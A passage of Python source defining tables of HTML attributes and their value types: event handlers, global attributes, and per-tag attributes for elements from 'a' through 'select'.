HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onunload', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onwebkitanimationiteration', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onwebkitanimationstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onwebkittransitionend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJS),
|
||||
]
|
||||
|
||||
GlobalAttributes = [
|
||||
HTMLAttribute('accesskey', HTMLTagAttributeType.TypeAccessKey),
|
||||
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('autocapitalize', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('contenteditable', HTMLTagAttributeType.TypeBoolean),
|
||||
HTMLAttribute('contextmenu', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('dir', HTMLTagAttributeType.TypeDir),
|
||||
HTMLAttribute('draggable', HTMLTagAttributeType.TypeBoolean),
|
||||
HTMLAttribute('dropzone', HTMLTagAttributeType.TypeDrop),
|
||||
HTMLAttribute('hidden', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('is', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('lang', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('popover', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('slot', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('spellcheck', HTMLTagAttributeType.TypeBoolean),
|
||||
HTMLAttribute('style', HTMLTagAttributeType.TypeStlye),
|
||||
HTMLAttribute('tabindex', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('translate', HTMLTagAttributeType.TypeBoolean),
|
||||
]
|
||||
|
||||
TagSpecificAttributes = {
|
||||
'a': [
|
||||
HTMLAttribute('download', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('ping', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('rel', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'abbr': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'acronym': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'address': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'applet': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('archive', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('code', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('object', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'area': [
|
||||
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('coords', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('download', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('ping', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('rel', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('shape', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'article': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'aside': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'audio': [
|
||||
HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('preload', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
'b': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'base': [
|
||||
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
'basefont': [
|
||||
HTMLAttribute('color', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('face', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'bdi': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'bdo': [
|
||||
HTMLAttribute('dir', HTMLTagAttributeType.TypeDir),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'big': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'blockquote': [
|
||||
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'body': [
|
||||
HTMLAttribute('alink', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('background', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('link', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('text', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('vlink', HTMLTagAttributeType.TypeColor),
|
||||
],
|
||||
'button': [
|
||||
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
|
||||
],
|
||||
'canvas': [
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'caption': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'center': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'cite': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'code': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'col': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('span', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'colgroup': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('span', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'data': [
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'datalist': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'dd': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'del': [
|
||||
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate),
|
||||
],
|
||||
'details': [
|
||||
HTMLAttribute('open', HTMLTagAttributeType.TypeFlag),
|
||||
],
|
||||
'dfn': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'dialog': [
|
||||
HTMLAttribute('open', HTMLTagAttributeType.TypeFlag),
|
||||
],
|
||||
'dir': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'div': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'dl': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'dt': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'em': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'embed': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'fieldset': [
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
],
|
||||
'figcaption': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'figure': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'font': [
|
||||
HTMLAttribute('color', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('face', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'footer': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'form': [
|
||||
HTMLAttribute('accept-charset', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('action', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('enctype', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('method', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||
],
|
||||
'frame': [
|
||||
HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
'frameset': [
|
||||
HTMLAttribute('cols', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('rows', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'h1': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'h2': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'h3': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'h4': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'h5': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'h6': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'head': [
|
||||
HTMLAttribute('profile', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
'header': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'hr': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('color', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('noshade', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'html': [
|
||||
HTMLAttribute('manifest', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
'i': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'iframe': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('allow', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('allowfullscreen', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('allowpaymentrequest', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('allowusermedia', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('csp', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('importance', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('srcdoc', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'img': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('border', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('decoding', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('intrinsicsize', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('loading', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('srcset', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'input': [
|
||||
HTMLAttribute('accept', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('capture', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('checked', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('dirname', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('inputmode', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('list', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('max', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('min', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('pattern', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('step', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
|
||||
'ins': [
|
||||
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate),
|
||||
],
|
||||
'kbd': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'label': [
|
||||
HTMLAttribute('for', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'legend': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'li': [
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'link': [
|
||||
HTMLAttribute('as', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('integrity', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('rel', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'main': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'map': [
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
],
|
||||
'mark': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'marquee': [
|
||||
HTMLAttribute('behavior', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('direction', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('loop', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('scrollamount', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('scrolldelay', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('truespeed', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'menu': [
|
||||
HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'meta': [
|
||||
HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('content', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'meter': [
|
||||
HTMLAttribute('high', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('low', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('max', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('min', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('optimum', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'nav': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'noframes': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'noscript': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'object': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('archive', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('border', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('classid', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('code', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('codetype', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('declare', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('standby', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
|
||||
'ol': [
|
||||
HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('reversed', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('start', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
|
||||
'optgroup': [
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('label', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'option': [
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('label', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('selected', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'output': [
|
||||
HTMLAttribute('for', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
],
|
||||
'p': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'param': [
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'picture': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'plaintext': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'pre': [
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'progress': [
|
||||
HTMLAttribute('max', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'q': [
|
||||
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
's': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'samp': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'script': [
|
||||
HTMLAttribute('async', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('defer', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('integrity', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('language', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('nomodule', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('nonce', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'select': [
|
||||
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
